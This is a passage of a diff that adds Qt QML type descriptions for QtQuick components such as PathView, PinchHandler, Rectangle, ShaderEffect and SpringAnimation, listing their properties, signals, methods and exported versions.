"orientationChanged" + Parameter { type: "Orientation" } + } + Signal { + name: "anchorPointChanged" + Parameter { type: "QPointF" } + } + Signal { + name: "orientationEntryDurationChanged" + Parameter { type: "double" } + } + Signal { + name: "orientationExitDurationChanged" + Parameter { type: "double" } + } + Signal { + name: "endRotationChanged" + Parameter { type: "double" } + } + } + Component { + file: "private/qquickpath_p.h" + name: "QQuickPathArc" + prototype: "QQuickCurve" + exports: ["QtQuick/PathArc 2.0", "QtQuick/PathArc 2.9"] + exportMetaObjectRevisions: [0, 9] + Enum { + name: "ArcDirection" + values: ["Clockwise", "Counterclockwise"] + } + Property { name: "radiusX"; type: "double" } + Property { name: "radiusY"; type: "double" } + Property { name: "useLargeArc"; type: "bool" } + Property { name: "direction"; type: "ArcDirection" } + Property { name: "xAxisRotation"; revision: 9; type: "double" } + Signal { name: "xAxisRotationChanged"; revision: 9 } + } + Component { + file: "private/qquickpath_p.h" + name: "QQuickPathAttribute" + prototype: "QQuickPathElement" + exports: ["QtQuick/PathAttribute 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "name"; type: "string" } + Property { name: "value"; type: "double" } + } + Component { + file: "private/qquickpath_p.h" + name: "QQuickPathCatmullRomCurve" + prototype: "QQuickCurve" + exports: ["QtQuick/PathCurve 2.0"] + exportMetaObjectRevisions: [0] + } + Component { + file: "private/qquickpath_p.h" + name: "QQuickPathCubic" + prototype: "QQuickCurve" + exports: ["QtQuick/PathCubic 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "control1X"; type: "double" } + Property { name: "control1Y"; type: "double" } + Property { name: "control2X"; type: "double" } + Property { name: "control2Y"; type: "double" } + Property { name: "relativeControl1X"; type: "double" } + Property { name: "relativeControl1Y"; type: "double" } + Property { name: "relativeControl2X"; type: "double" } + Property { name: "relativeControl2Y"; type: "double" } + } + Component { + file: "private/qquickpath_p.h" + name: "QQuickPathElement" + prototype: "QObject" + Signal { name: "changed" } + } + Component { + file: "private/qquickpathinterpolator_p.h" + name: "QQuickPathInterpolator" + prototype: "QObject" + exports: ["QtQuick/PathInterpolator 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "path"; type: "QQuickPath"; isPointer: true } + Property { name: "progress"; type: "double" } + Property { name: "x"; type: "double"; isReadonly: true } + Property { name: "y"; type: "double"; isReadonly: true } + Property { name: "angle"; type: "double"; isReadonly: true } + Method { name: "_q_pathUpdated" } + } + Component { + file: "private/qquickpath_p.h" + name: "QQuickPathLine" + prototype: "QQuickCurve" + exports: ["QtQuick/PathLine 2.0"] + exportMetaObjectRevisions: [0] + } + Component { + file: "private/qquickpath_p.h" + name: "QQuickPathMove" + prototype: "QQuickCurve" + exports: ["QtQuick/PathMove 2.9"] + exportMetaObjectRevisions: [9] + } + Component { + file: "private/qquickpath_p.h" + name: "QQuickPathMultiline" + prototype: "QQuickCurve" + exports: ["QtQuick/PathMultiline 2.14"] + exportMetaObjectRevisions: [14] + Property { name: "start"; type: "QPointF"; isReadonly: true } + Property { name: "paths"; type: "QVariant" } + } + Component { + file: "private/qquickpath_p.h" + name: "QQuickPathPercent" + prototype: "QQuickPathElement" + exports: ["QtQuick/PathPercent 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "value"; type: "double" } + } + Component { + file: "private/qquickpath_p.h" + name: "QQuickPathPolyline" + prototype: "QQuickCurve" + exports: ["QtQuick/PathPolyline 2.14"] + exportMetaObjectRevisions: [14] + Property { name: "start"; type: "QPointF"; isReadonly: true } + Property { name: "path"; type: "QVariant" } + } + Component { + file: "private/qquickpath_p.h" + name: "QQuickPathQuad" + prototype: "QQuickCurve" + exports: ["QtQuick/PathQuad 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "controlX"; type: "double" } + Property { name: "controlY"; type: "double" } + Property { name: "relativeControlX"; type: "double" } + Property { name: "relativeControlY"; type: "double" } + } + Component { + file: "private/qquickpath_p.h" + name: "QQuickPathSvg" + prototype: "QQuickCurve" + exports: ["QtQuick/PathSvg 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "path"; type: "string" } + } + Component { + file: "private/qquickpath_p.h" + name: "QQuickPathText" + prototype: "QQuickPathElement" + exports: ["QtQuick/PathText 2.15"] + exportMetaObjectRevisions: [15] + Property { name: "x"; type: "double" } + Property { name: "y"; type: "double" } + Property { name: "width"; type: "double"; isReadonly: true } + Property { name: "height"; type: "double"; isReadonly: true } + Property { name: "text"; type: "string" } + Property { name: "font"; type: "QFont" } + Method { name: "invalidate" } + } + Component { + file: "private/qquickpathview_p.h" + name: "QQuickPathView" + defaultProperty: "data" + prototype: "QQuickItem" + exports: [ + "QtQuick/PathView 2.0", + "QtQuick/PathView 2.1", + "QtQuick/PathView 2.11", + "QtQuick/PathView 2.13", + "QtQuick/PathView 2.4", + "QtQuick/PathView 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 13, 4, 7] + attachedType: "QQuickPathViewAttached" + Enum { + name: "HighlightRangeMode" + values: ["NoHighlightRange", "ApplyRange", "StrictlyEnforceRange"] + } + Enum { + name: "SnapMode" + values: ["NoSnap", "SnapToItem", "SnapOneItem"] + } + Enum { + name: "MovementDirection" + values: ["Shortest", "Negative", "Positive"] + } + Enum { + name: "PositionMode" + values: ["Beginning", "Center", "End", "Contain", "SnapPosition"] + } + Property { name: "model"; type: "QVariant" } + Property { name: "path"; type: "QQuickPath"; isPointer: true } + Property { name: "currentIndex"; type: "int" } + Property { name: "currentItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "offset"; type: "double" } + Property { name: "highlight"; type: "QQmlComponent"; isPointer: true } + Property { name: "highlightItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "preferredHighlightBegin"; type: "double" } + Property { name: "preferredHighlightEnd"; type: "double" } + Property { name: "highlightRangeMode"; type: "HighlightRangeMode" } + Property { name: "highlightMoveDuration"; type: "int" } + Property { name: "dragMargin"; type: "double" } + Property { name: "maximumFlickVelocity"; type: "double" } + Property { name: "flickDeceleration"; type: "double" } + Property { name: "interactive"; type: "bool" } + Property { name: "moving"; type: "bool"; isReadonly: true } + Property { name: "flicking"; type: "bool"; isReadonly: true } + Property { name: "dragging"; type: "bool"; isReadonly: true } + Property { name: "count"; type: "int"; isReadonly: true } + Property { name: "delegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "pathItemCount"; type: "int" } + Property { name: "snapMode"; type: "SnapMode" } + Property { name: "movementDirection"; revision: 7; type: "MovementDirection" } + Property { name: "cacheItemCount"; type: "int" } + Signal { name: "snapPositionChanged" } + Signal { name: "movementStarted" } + Signal { name: "movementEnded" } + Signal { name: "movementDirectionChanged"; revision: 7 } + Signal { name: "flickStarted" } + Signal { name: "flickEnded" } + Signal { name: "dragStarted" } + Signal { name: "dragEnded" } + Method { name: "incrementCurrentIndex" } + Method { name: "decrementCurrentIndex" } + Method { name: "refill" } + Method { name: "ticked" } + Method { name: "movementEnding" } + Method { + name: "modelUpdated" + Parameter { name: "changeSet"; type: "QQmlChangeSet" } + Parameter { name: "reset"; type: "bool" } + } + Method { + name: "createdItem" + Parameter { name: "index"; type: "int" } + Parameter { name: "item"; type: "QObject"; isPointer: true } + } + Method { + name: "initItem" + Parameter { name: "index"; type: "int" } + Parameter { name: "item"; type: "QObject"; isPointer: true } + } + Method { + name: "destroyingItem" + Parameter { name: "item"; type: "QObject"; isPointer: true } + } + Method { name: "pathUpdated" } + Method { + name: "positionViewAtIndex" + Parameter { name: "index"; type: "int" } + Parameter { name: "mode"; type: "int" } + } + Method { + name: "indexAt" + type: "int" + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + } + Method { + name: "itemAt" + type: "QQuickItem*" + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + } + Method { + name: "itemAtIndex" + revision: 13 + type: "QQuickItem*" + Parameter { name: "index"; type: "int" } + } + } + Component { + name: "QQuickPathViewAttached" + prototype: "QObject" + Property { name: "view"; type: "QQuickPathView"; isReadonly: true; isPointer: true } + Property { name: "isCurrentItem"; type: "bool"; isReadonly: true } + Property { name: "onPath"; type: "bool"; isReadonly: true } + Signal { name: "currentItemChanged" } + Signal { name: "pathChanged" } + } + Component { + file: "private/qquickanimation_p.h" + name: "QQuickPauseAnimation" + prototype: "QQuickAbstractAnimation" + exports: ["QtQuick/PauseAnimation 2.0", "QtQuick/PauseAnimation 2.12"] + exportMetaObjectRevisions: [0, 12] + Property { name: "duration"; type: "int" } + Signal { + name: "durationChanged" + Parameter { type: "int" } + } + } + Component { + file: "private/qquickrectangle_p.h" + name: "QQuickPen" + prototype: "QObject" + Property { name: "width"; type: "double" } + Property { name: "color"; type: "QColor" } + Property { name: "pixelAligned"; type: "bool" } + Signal { name: "penChanged" } + } + Component { + file: "private/qquickpincharea_p.h" + name: "QQuickPinch" + prototype: "QObject" + exports: ["QtQuick/Pinch 2.0"] + exportMetaObjectRevisions: [0] + Enum { + name: "Axis" + values: ["NoDrag", "XAxis", "YAxis", "XAndYAxis", "XandYAxis"] + } + Property { name: "target"; type: "QQuickItem"; isPointer: true } + Property { name: "minimumScale"; type: "double" } + Property { name: "maximumScale"; type: "double" } + Property { name: "minimumRotation"; type: "double" } + Property { name: "maximumRotation"; type: "double" } + Property { name: "dragAxis"; type: "Axis" } + Property { name: "minimumX"; type: "double" } + Property { name: "maximumX"; type: "double" } + Property { name: "minimumY"; type: "double" } + Property { name: "maximumY"; type: "double" } + Property { name: "active"; type: "bool"; isReadonly: true } + } + Component { + file: "private/qquickpincharea_p.h" + name: "QQuickPinchArea" + defaultProperty: "data" + prototype: "QQuickItem" + exports: [ + "QtQuick/PinchArea 2.0", + "QtQuick/PinchArea 2.1", + "QtQuick/PinchArea 2.11", + "QtQuick/PinchArea 2.4", + "QtQuick/PinchArea 2.5", + "QtQuick/PinchArea 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 5, 7] + Property { name: "enabled"; type: "bool" } + Property { name: "pinch"; type: "QQuickPinch"; isReadonly: true; isPointer: true } + Signal { + name: "pinchStarted" + Parameter { name: "pinch"; type: "QQuickPinchEvent"; isPointer: true } + } + Signal { + name: "pinchUpdated" + Parameter { name: "pinch"; type: "QQuickPinchEvent"; isPointer: true } + } + Signal { + name: "pinchFinished" + Parameter { name: "pinch"; type: "QQuickPinchEvent"; isPointer: true } + } + Signal { + name: "smartZoom" + revision: 5 + Parameter { name: "pinch"; type: "QQuickPinchEvent"; isPointer: true } + } + } + Component { + file: "private/qquickpincharea_p.h" + name: "QQuickPinchEvent" + prototype: "QObject" + Property { name: "center"; type: "QPointF"; isReadonly: true } + Property { name: "startCenter"; type: "QPointF"; isReadonly: true } + Property { name: "previousCenter"; type: "QPointF"; isReadonly: true } + Property { name: "scale"; type: "double"; isReadonly: true } + Property { name: "previousScale"; type: "double"; isReadonly: true } + Property { name: "angle"; type: "double"; isReadonly: true } + Property { name: "previousAngle"; type: "double"; isReadonly: true } + Property { name: "rotation"; type: "double"; isReadonly: true } + Property { name: "point1"; type: "QPointF"; isReadonly: true } + Property { name: "startPoint1"; type: "QPointF"; isReadonly: true } + Property { name: "point2"; type: "QPointF"; isReadonly: true } + Property { name: "startPoint2"; type: "QPointF"; isReadonly: true } + Property { name: "pointCount"; type: "int"; isReadonly: true } + Property { name: "accepted"; type: "bool" } + } + Component { + file: "private/qquickpinchhandler_p.h" + name: "QQuickPinchHandler" + prototype: "QQuickMultiPointHandler" + exports: ["QtQuick/PinchHandler 2.12", "QtQuick/PinchHandler 2.15"] + exportMetaObjectRevisions: [12, 15] + Property { name: "minimumScale"; type: "double" } + Property { name: "maximumScale"; type: "double" } + Property { name: "minimumRotation"; type: "double" } + Property { name: "maximumRotation"; type: "double" } + Property { name: "scale"; type: "double"; isReadonly: true } + Property { name: "activeScale"; type: "double"; isReadonly: true } + Property { name: "rotation"; type: "double"; isReadonly: true } + Property { name: "translation"; type: "QVector2D"; isReadonly: true } + Property { name: "minimumX"; type: "double" } + Property { name: "maximumX"; type: "double" } + Property { name: "minimumY"; type: "double" } + Property { name: "maximumY"; type: "double" } + Property { name: "xAxis"; type: "QQuickDragAxis"; isReadonly: true; isPointer: true } + Property { name: "yAxis"; type: "QQuickDragAxis"; isReadonly: true; isPointer: true } + Signal { name: "updated" } + } + Component { + file: "private/qquickpointhandler_p.h" + name: "QQuickPointHandler" + prototype: "QQuickSinglePointHandler" + exports: ["QtQuick/PointHandler 2.12", "QtQuick/PointHandler 2.15"] + exportMetaObjectRevisions: [12, 15] + Property { name: "translation"; type: "QVector2D"; isReadonly: true } + } + Component { + file: "private/qquickevents_p_p.h" + name: "QQuickPointerDevice" + prototype: "QObject" + exports: ["QtQuick/PointerDevice 2.12"] + isCreatable: false + exportMetaObjectRevisions: [12] + Enum { + name: "DeviceTypes" + alias: "DeviceType" + isFlag: true + values: [ + "UnknownDevice", + "Mouse", + "TouchScreen", + "TouchPad", + "Puck", + "Stylus", + "Airbrush", + "AllDevices" + ] + } + Enum { + name: "PointerTypes" + alias: "PointerType" + isFlag: true + values: [ + "GenericPointer", + "Finger", + "Pen", + "Eraser", + "Cursor", + "AllPointerTypes" + ] + } + Enum { + name: "Capabilities" + alias: "CapabilityFlag" + isFlag: true + values: [ + "Position", + "Area", + "Pressure", + "Velocity", + "MouseEmulation", + "Scroll", + "Hover", + "Rotation", + "XTilt", + "YTilt" + ] + } + Property { name: "type"; type: "DeviceType"; isReadonly: true } + Property { name: "pointerType"; type: "PointerType"; isReadonly: true } + Property { name: "capabilities"; type: "Capabilities"; isReadonly: true } + Property { name: "maximumTouchPoints"; type: "int"; isReadonly: true } + Property { name: "buttonCount"; type: "int"; isReadonly: true } + Property { name: "name"; type: "string"; isReadonly: true } + Property { name: "uniqueId"; type: "QPointingDeviceUniqueId"; isReadonly: true } + } + Component { + file: "private/qquickpointerhandler_p.h" + name: "QQuickPointerDeviceHandler" + prototype: "QQuickPointerHandler" + Property { name: "acceptedDevices"; type: "QQuickPointerDevice::DeviceTypes" } + Property { name: "acceptedPointerTypes"; type: "QQuickPointerDevice::PointerTypes" } + Property { name: "acceptedButtons"; type: "Qt::MouseButtons" } + Property { name: "acceptedModifiers"; type: "Qt::KeyboardModifiers" } + Method { + name: "setAcceptedDevices" + Parameter { name: "acceptedDevices"; type: "QQuickPointerDevice::DeviceTypes" } + } + Method { + name: "setAcceptedPointerTypes" + Parameter { name: "acceptedPointerTypes"; type: "QQuickPointerDevice::PointerTypes" } + } + Method { + name: "setAcceptedButtons" + Parameter { name: "buttons"; type: "Qt::MouseButtons" } + } + Method { + name: "setAcceptedModifiers" + Parameter { name: "acceptedModifiers"; type: "Qt::KeyboardModifiers" } + } + } + Component { + file: "private/qquickevents_p_p.h" + name: "QQuickPointerEvent" + prototype: "QObject" + exports: ["QtQuick/PointerEvent 2.12"] + isCreatable: false + exportMetaObjectRevisions: [12] + Property { name: "device"; type: "QQuickPointerDevice"; isReadonly: true; isPointer: true } + Property { name: "modifiers"; type: "Qt::KeyboardModifiers"; isReadonly: true } + Property { name: "button"; type: "Qt::MouseButtons"; isReadonly: true } + Property { name: "buttons"; type: "Qt::MouseButtons"; isReadonly: true } + } + Component { + file: "private/qquickpointerhandler_p.h" + name: "QQuickPointerHandler" + prototype: "QObject" + exports: [ + "QtQuick/PointerHandler 2.12", + "QtQuick/PointerHandler 2.15" + ] + isCreatable: false + exportMetaObjectRevisions: [12, 15] + Enum { + name: "GrabPermissions" + alias: "GrabPermission" + isFlag: true + values: [ + "TakeOverForbidden", + "CanTakeOverFromHandlersOfSameType", + "CanTakeOverFromHandlersOfDifferentType", + "CanTakeOverFromItems", + "CanTakeOverFromAnything", + "ApprovesTakeOverByHandlersOfSameType", + "ApprovesTakeOverByHandlersOfDifferentType", + "ApprovesTakeOverByItems", + "ApprovesCancellation", + "ApprovesTakeOverByAnything" + ] + } + Property { name: "enabled"; type: "bool" } + Property { name: "active"; type: "bool"; isReadonly: true } + Property { name: "target"; type: "QQuickItem"; isPointer: true } + Property { name: "parent"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "grabPermissions"; type: "GrabPermissions" } + Property { name: "margin"; type: "double" } + Property { name: "dragThreshold"; revision: 15; type: "int" } + Property { name: "cursorShape"; revision: 15; type: "Qt::CursorShape" } + Signal { name: "dragThresholdChanged"; revision: 15 } + Signal { + name: "grabChanged" + Parameter { name: "transition"; type: "QQuickEventPoint::GrabTransition" } + Parameter { name: "point"; type: "QQuickEventPoint"; isPointer: true } + } + Signal { name: "grabPermissionChanged" } + Signal { + name: "canceled" + Parameter { name: "point"; type: "QQuickEventPoint"; isPointer: true } + } + Signal { name: "cursorShapeChanged"; revision: 15 } + } + Component { + file: "private/qquickevents_p_p.h" + name: "QQuickPointerMouseEvent" + prototype: "QQuickSinglePointEvent" + exports: ["QtQuick/PointerMouseEvent 2.12"] + isCreatable: false + exportMetaObjectRevisions: [12] + } + Component { + file: "private/qquickevents_p_p.h" + name: "QQuickPointerScrollEvent" + prototype: "QQuickSinglePointEvent" + exports: ["QtQuick/PointerScrollEvent 2.14"] + isCreatable: false + exportMetaObjectRevisions: [14] + Property { name: "angleDelta"; type: "QVector2D"; isReadonly: true } + Property { name: "pixelDelta"; type: "QVector2D"; isReadonly: true } + Property { name: "hasAngleDelta"; type: "bool"; isReadonly: true } + Property { name: "hasPixelDelta"; type: "bool"; isReadonly: true } + Property { name: "inverted"; type: "bool"; isReadonly: true } + } + Component { + file: "private/qquickevents_p_p.h" + name: "QQuickPointerTouchEvent" + prototype: "QQuickPointerEvent" + exports: ["QtQuick/PointerTouchEvent 2.12"] + isCreatable: false + exportMetaObjectRevisions: [12] + } + Component { + name: "QQuickPositionerAttached" + prototype: "QObject" + Property { name: "index"; type: "int"; isReadonly: true } + Property { name: "isFirstItem"; type: "bool"; isReadonly: true } + Property { name: "isLastItem"; type: "bool"; isReadonly: true } + } + Component { + file: "private/qquickanimation_p.h" + name: "QQuickPropertyAction" + prototype: "QQuickAbstractAnimation" + exports: ["QtQuick/PropertyAction 2.0", "QtQuick/PropertyAction 2.12"] + exportMetaObjectRevisions: [0, 12] + Property { name: "target"; type: "QObject"; isPointer: true } + Property { name: "property"; type: "string" } + Property { name: "properties"; type: "string" } + Property { name: "targets"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "exclude"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "value"; type: "QVariant" } + Signal { + name: "valueChanged" + Parameter { type: "QVariant" } + } + Signal { + name: "propertiesChanged" + Parameter { type: "string" } + } + } + Component { + file: "private/qquickanimation_p.h" + name: "QQuickPropertyAnimation" + prototype: "QQuickAbstractAnimation" + exports: [ + "QtQuick/PropertyAnimation 2.0", + "QtQuick/PropertyAnimation 2.12" + ] + exportMetaObjectRevisions: [0, 12] + Property { name: "duration"; type: "int" } + Property { name: "from"; type: "QVariant" } + Property { name: "to"; type: "QVariant" } + Property { name: "easing"; type: "QEasingCurve" } + Property { name: "target"; type: "QObject"; isPointer: true } + Property { name: "property"; type: "string" } + Property { name: "properties"; type: "string" } + Property { name: "targets"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "exclude"; type: "QObject"; isList: true; isReadonly: true } + Signal { + name: "durationChanged" + Parameter { type: "int" } + } + Signal { + name: "easingChanged" + Parameter { type: "QEasingCurve" } + } + Signal { + name: "propertiesChanged" + Parameter { type: "string" } + } + } + Component { + file: "private/qquickpropertychanges_p.h" + name: "QQuickPropertyChanges" + prototype: "QQuickStateOperation" + exports: ["QtQuick/PropertyChanges 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "target"; type: "QObject"; isPointer: true } + Property { name: "restoreEntryValues"; type: "bool" } + Property { name: "explicit"; type: "bool" } + } + Component { + file: "private/qquickrectangle_p.h" + name: "QQuickRectangle" + defaultProperty: "data" + prototype: "QQuickItem" + exports: [ + "QtQuick/Rectangle 2.0", + "QtQuick/Rectangle 2.1", + "QtQuick/Rectangle 2.11", + "QtQuick/Rectangle 2.4", + "QtQuick/Rectangle 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Property { name: "color"; type: "QColor" } + Property { name: "gradient"; type: "QJSValue" } + Property { name: "border"; type: "QQuickPen"; isReadonly: true; isPointer: true } + Property { name: "radius"; type: "double" } + Method { name: "doUpdate" } + } + Component { + file: "private/qquickrepeater_p.h" + name: "QQuickRepeater" + defaultProperty: "delegate" + prototype: "QQuickItem" + exports: [ + "QtQuick/Repeater 2.0", + "QtQuick/Repeater 2.1", + "QtQuick/Repeater 2.11", + "QtQuick/Repeater 2.4", + "QtQuick/Repeater 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Property { name: "model"; type: "QVariant" } + Property { name: "delegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "count"; type: "int"; isReadonly: true } + Signal { + name: "itemAdded" + Parameter { name: "index"; type: "int" } + Parameter { name: "item"; type: "QQuickItem"; isPointer: true } + } + Signal { + name: "itemRemoved" + Parameter { name: "index"; type: "int" } + Parameter { name: "item"; type: "QQuickItem"; isPointer: true } + } + Method { + name: "createdItem" + Parameter { name: "index"; type: "int" } + Parameter { name: "item"; type: "QObject"; isPointer: true } + } + Method { + name: "initItem" + Parameter { type: "int" } + Parameter { name: "item"; type: "QObject"; isPointer: true } + } + Method { + name: "modelUpdated" + Parameter { name: "changeSet"; type: "QQmlChangeSet" } + Parameter { name: "reset"; type: "bool" } + } + Method { + name: "itemAt" + type: "QQuickItem*" + Parameter { name: "index"; type: "int" } + } + } + Component { + file: "private/qquicktranslate_p.h" + name: "QQuickRotation" + prototype: "QQuickTransform" + exports: ["QtQuick/Rotation 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "origin"; type: "QVector3D" } + Property { name: "angle"; type: "double" } + Property { name: "axis"; type: "QVector3D" } + } + Component { + file: "private/qquickanimation_p.h" + name: "QQuickRotationAnimation" + prototype: "QQuickPropertyAnimation" + exports: [ + "QtQuick/RotationAnimation 2.0", + "QtQuick/RotationAnimation 2.12" + ] + exportMetaObjectRevisions: [0, 12] + Enum { + name: "RotationDirection" + values: ["Numerical", "Shortest", "Clockwise", "Counterclockwise"] + } + Property { name: "from"; type: "double" } + Property { name: "to"; type: "double" } + Property { name: "direction"; type: "RotationDirection" } + } + Component { + file: "private/qquickanimator_p.h" + name: "QQuickRotationAnimator" + prototype: "QQuickAnimator" + exports: [ + "QtQuick/RotationAnimator 2.12", + "QtQuick/RotationAnimator 2.2" + ] + exportMetaObjectRevisions: [12, 2] + Enum { + name: "RotationDirection" + values: ["Numerical", "Shortest", "Clockwise", "Counterclockwise"] + } + Property { name: "direction"; type: "RotationDirection" } + Signal { + name: "directionChanged" + Parameter { name: "dir"; type: "RotationDirection" } + } + } + Component { + file: "private/qquickpositioners_p.h" + name: "QQuickRow" + prototype: "QQuickBasePositioner" + exports: [ + "QtQuick/Row 2.0", + "QtQuick/Row 2.1", + "QtQuick/Row 2.11", + "QtQuick/Row 2.4", + "QtQuick/Row 2.6", + "QtQuick/Row 2.7", + "QtQuick/Row 2.9" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 6, 7, 9] + Property { name: "layoutDirection"; type: "Qt::LayoutDirection" } + Property { name: "effectiveLayoutDirection"; type: "Qt::LayoutDirection"; isReadonly: true } + } + Component { + file: "private/qquicktranslate_p.h" + name: "QQuickScale" + prototype: "QQuickTransform" + exports: ["QtQuick/Scale 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "origin"; type: "QVector3D" } + Property { name: "xScale"; type: "double" } + Property { name: "yScale"; type: "double" } + Property { name: "zScale"; type: "double" } + Signal { name: "scaleChanged" } + } + Component { + file: "private/qquickanimator_p.h" + name: "QQuickScaleAnimator" + prototype: "QQuickAnimator" + exports: ["QtQuick/ScaleAnimator 2.12", "QtQuick/ScaleAnimator 2.2"] + exportMetaObjectRevisions: [12, 2] + } + Component { + file: "private/qquickscalegrid_p_p.h" + name: "QQuickScaleGrid" + prototype: "QObject" + Property { name: "left"; type: "int" } + Property { name: "top"; type: "int" } + Property { name: "right"; type: "int" } + Property { name: "bottom"; type: "int" } + Signal { name: "borderChanged" } + Signal { name: "leftBorderChanged" } + Signal { name: "topBorderChanged" } + Signal { name: "rightBorderChanged" } + Signal { name: "bottomBorderChanged" } + } + Component { + file: "private/qquickanimation_p.h" + name: "QQuickScriptAction" + prototype: "QQuickAbstractAnimation" + exports: ["QtQuick/ScriptAction 2.0", "QtQuick/ScriptAction 2.12"] + exportMetaObjectRevisions: [0, 12] + Property { name: "script"; type: "QQmlScriptString" } + Property { name: "scriptName"; type: "string" } + } + Component { + file: "private/qquickanimation_p.h" + name: "QQuickSequentialAnimation" + defaultProperty: "animations" + prototype: "QQuickAnimationGroup" + exports: [ + "QtQuick/SequentialAnimation 2.0", + "QtQuick/SequentialAnimation 2.12" + ] + exportMetaObjectRevisions: [0, 12] + } + Component { + file: "private/qquickshadereffect_p.h" + name: "QQuickShaderEffect" + defaultProperty: "data" + prototype: "QQuickItem" + exports: [ + "QtQuick/ShaderEffect 2.0", + "QtQuick/ShaderEffect 2.1", + "QtQuick/ShaderEffect 2.11", + "QtQuick/ShaderEffect 2.4", + "QtQuick/ShaderEffect 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Enum { + name: "CullMode" + values: ["NoCulling", "BackFaceCulling", "FrontFaceCulling"] + } + Enum { + name: "Status" + values: ["Compiled", "Uncompiled", "Error"] + } + Property { name: "fragmentShader"; type: "QByteArray" } + Property { name: "vertexShader"; type: "QByteArray" } + Property { name: "blending"; type: "bool" } + Property { name: "mesh"; type: "QVariant" } + Property { name: "cullMode"; type: "CullMode" } + Property { name: "log"; type: "string"; isReadonly: true } + Property { name: "status"; type: "Status"; isReadonly: true } + Property { name: "supportsAtlasTextures"; revision: 4; type: "bool" } + } + Component { + file: "private/qquickshadereffectmesh_p.h" + name: "QQuickShaderEffectMesh" + prototype: "QObject" + exports: ["QtQuick/ShaderEffectMesh 2.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + Signal { name: "geometryChanged" } + } + Component { + file: "private/qquickshadereffectsource_p.h" + name: "QQuickShaderEffectSource" + defaultProperty: "data" + prototype: "QQuickItem" + exports: [ + "QtQuick/ShaderEffectSource 2.0", + "QtQuick/ShaderEffectSource 2.1", + "QtQuick/ShaderEffectSource 2.11", + "QtQuick/ShaderEffectSource 2.4", + "QtQuick/ShaderEffectSource 2.6", + "QtQuick/ShaderEffectSource 2.7", + "QtQuick/ShaderEffectSource 2.9" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 6, 7, 9] + Enum { + name: "WrapMode" + values: [ + "ClampToEdge", + "RepeatHorizontally", + "RepeatVertically", + "Repeat" + ] + } + Enum { + name: "Format" + values: ["Alpha", "RGB", "RGBA"] + } + Enum { + name: "TextureMirroring" + values: ["NoMirroring", "MirrorHorizontally", "MirrorVertically"] + } + Property { name: "wrapMode"; type: "WrapMode" } + Property { name: "sourceItem"; type: "QQuickItem"; isPointer: true } + Property { name: "sourceRect"; type: "QRectF" } + Property { name: "textureSize"; type: "QSize" } + Property { name: "format"; type: "Format" } + Property { name: "live"; type: "bool" } + Property { name: "hideSource"; type: "bool" } + Property { name: "mipmap"; type: "bool" } + Property { name: "recursive"; type: "bool" } + Property { name: "textureMirroring"; revision: 6; type: "TextureMirroring" } + Property { name: "samples"; revision: 9; type: "int" } + Signal { name: "scheduledUpdateCompleted" } + Method { + name: "sourceItemDestroyed" + Parameter { name: "item"; type: "QObject"; isPointer: true } + } + Method { name: "invalidateSceneGraph" } + Method { + name: "sourceItemParentChanged" + Parameter { name: "parent"; type: "QQuickItem"; isPointer: true } + } + Method { name: "scheduleUpdate" } + } + Component { + file: "private/qquickshortcut_p.h" + name: "QQuickShortcut" + prototype: "QObject" + exports: [ + "QtQuick/Shortcut 2.5", + "QtQuick/Shortcut 2.6", + "QtQuick/Shortcut 2.9" + ] + exportMetaObjectRevisions: [5, 6, 9] + Property { name: "sequence"; type: "QVariant" } + Property { name: "sequences"; revision: 9; type: "QVariantList" } + Property { name: "nativeText"; revision: 6; type: "string"; isReadonly: true } + Property { name: "portableText"; revision: 6; type: "string"; isReadonly: true } + Property { name: "enabled"; type: "bool" } + Property { name: "autoRepeat"; type: "bool" } + Property { name: "context"; type: "Qt::ShortcutContext" } + Signal { name: "sequencesChanged"; revision: 9 } + Signal { name: "activated" } + Signal { name: "activatedAmbiguously" } + } + Component { + file: "private/qquickevents_p_p.h" + name: "QQuickSinglePointEvent" + prototype: "QQuickPointerEvent" + } + Component { + file: "private/qquickpointerhandler_p.h" + name: "QQuickSinglePointHandler" + prototype: "QQuickPointerDeviceHandler" + Property { name: "point"; type: "QQuickHandlerPoint"; isReadonly: true } + } + Component { + file: "private/qquicksmoothedanimation_p.h" + name: "QQuickSmoothedAnimation" + prototype: "QQuickNumberAnimation" + exports: [ + "QtQuick/SmoothedAnimation 2.0", + "QtQuick/SmoothedAnimation 2.12" + ] + exportMetaObjectRevisions: [0, 12] + Enum { + name: "ReversingMode" + values: ["Eased", "Immediate", "Sync"] + } + Property { name: "velocity"; type: "double" } + Property { name: "reversingMode"; type: "ReversingMode" } + Property { name: "maximumEasingTime"; type: "double" } + } + Component { + file: "private/qquickspringanimation_p.h" + name: "QQuickSpringAnimation" + prototype: "QQuickNumberAnimation" + exports: [ + "QtQuick/SpringAnimation 2.0", + "QtQuick/SpringAnimation 2.12" + ] + exportMetaObjectRevisions: [0, 12] + Property { name: "velocity"; type: "double" } + Property { name: "spring"; type: "double" } + Property { name: "damping"; type: "double" } + Property { name: "epsilon"; type: "double" } + Property { name: "modulus"; type: "double" } + Property { name: "mass"; type: "double" } + Signal { name: "syncChanged" } + } + Component { + file: 